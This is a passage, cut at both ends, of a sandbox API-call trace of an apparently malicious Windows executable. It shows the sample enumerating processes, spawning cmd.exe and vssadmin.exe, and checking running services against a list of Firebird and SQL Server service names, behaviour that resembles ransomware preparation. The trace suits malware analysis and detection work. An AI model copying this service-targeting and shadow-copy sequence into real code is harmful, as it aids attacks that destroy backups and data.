lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0056.246] lstrlenW (lpString="burner.exe") returned 10 [0056.246] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.247] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.247] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.248] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.248] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0056.248] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0056.248] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.249] lstrlenW (lpString="cmd.exe") returned 7 [0056.249] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.250] lstrlenW (lpString="conhost.exe") returned 11 [0056.250] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.250] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.250] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.251] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.251] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.251] lstrlenW (lpString="svchost.exe") returned 11 [0056.251] Process32NextW (in: hSnapshot=0x1bc, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0056.252] CloseHandle (hObject=0x1bc) returned 1 [0056.252] Sleep (dwMilliseconds=0x1f4) [0057.036] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59ff00 [0057.036] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0057.037] GetLastError () returned 0xea [0057.037] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x142e) returned 0x3f90098 [0057.037] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f90098, cbBufSize=0x142e, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f90098, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0057.038] CloseServiceHandle (hSCObject=0x59ff00) returned 1 [0057.038] lstrlenW (lpString="Appinfo") returned 7 [0057.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.038] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.038] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.038] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.038] lstrlenW (lpString="AudioSrv") returned 8 [0057.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.038] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.038] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.038] lstrlenW (lpString="BFE") returned 3 [0057.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.039] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.039] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.039] lstrlenW (lpString="CryptSvc") returned 8 [0057.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.039] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.039] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.039] lstrlenW (lpString="CscService") returned 10 [0057.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.039] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.039] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.039] lstrlenW (lpString="DcomLaunch") returned 10 [0057.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.039] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.039] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.039] lstrlenW (lpString="Dhcp") returned 4 [0057.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.039] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.039] lstrlenW (lpString="Dnscache") returned 8 [0057.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.039] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.040] lstrlenW (lpString="DPS") returned 3 [0057.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.040] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.040] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.040] lstrlenW (lpString="eventlog") returned 8 [0057.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.040] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.040] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.040] lstrlenW (lpString="EventSystem") returned 11 [0057.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.040] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.040] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.040] lstrlenW (lpString="FontCache") returned 9 [0057.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0057.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0057.040] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0057.040] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0057.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0057.040] lstrlenW (lpString="gpsvc") returned 5 [0057.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.040] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.040] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.040] lstrlenW (lpString="iphlpsvc") returned 8 [0057.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.040] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.040] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.041] lstrlenW (lpString="LanmanServer") returned 12 [0057.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.041] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.041] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.041] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.041] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.041] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.041] lstrlenW (lpString="lmhosts") returned 7 [0057.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.041] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.041] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.041] lstrlenW (lpString="MMCSS") returned 5 [0057.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.041] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.041] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.041] lstrlenW (lpString="MpsSvc") returned 6 [0057.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.041] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.041] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.041] lstrlenW (lpString="Netman") returned 6 [0057.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.041] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.041] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.042] lstrlenW (lpString="netprofm") returned 8 [0057.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.042] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.042] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.042] lstrlenW (lpString="NlaSvc") returned 6 [0057.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.042] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.042] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.042] lstrlenW (lpString="nsi") returned 3 [0057.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.042] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.042] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.042] lstrlenW (lpString="PcaSvc") returned 6 [0057.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.042] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.042] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.042] lstrlenW (lpString="PlugPlay") returned 8 [0057.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.042] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.042] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.042] lstrlenW (lpString="Power") returned 5 [0057.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.042] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.043] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.043] lstrlenW (lpString="ProfSvc") returned 7 [0057.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.043] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.043] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.043] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.043] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.043] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.043] lstrlenW (lpString="RpcSs") returned 5 [0057.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.043] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.043] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.043] lstrlenW (lpString="SamSs") returned 5 [0057.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.043] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.043] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.043] lstrlenW (lpString="Schedule") returned 8 [0057.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.043] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.043] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.043] lstrlenW (lpString="SENS") returned 4 [0057.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.044] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.044] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.044] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.044] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.044] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.044] lstrlenW (lpString="Spooler") returned 7 [0057.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.044] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.044] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.044] lstrlenW (lpString="sppsvc") returned 6 [0057.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0057.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0057.044] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0057.044] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0057.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0057.044] lstrlenW (lpString="swprv") returned 5 [0057.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0057.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0057.044] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0057.044] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0057.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0057.044] lstrlenW (lpString="SysMain") returned 7 [0057.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.044] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.044] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.045] lstrlenW (lpString="Themes") returned 6 [0057.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.045] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.045] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.045] lstrlenW (lpString="TrkWks") returned 6 [0057.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.045] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.045] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.045] lstrlenW (lpString="UxSms") returned 5 [0057.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.045] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.045] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.045] lstrlenW (lpString="VSS") returned 3 [0057.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0057.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0057.045] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0057.045] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0057.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.045] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.046] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.046] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.046] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.046] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.046] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.046] lstrlenW (lpString="WinDefend") returned 9 [0057.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0057.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0057.046] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0057.046] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0057.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0057.046] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.046] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.046] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.046] lstrlenW 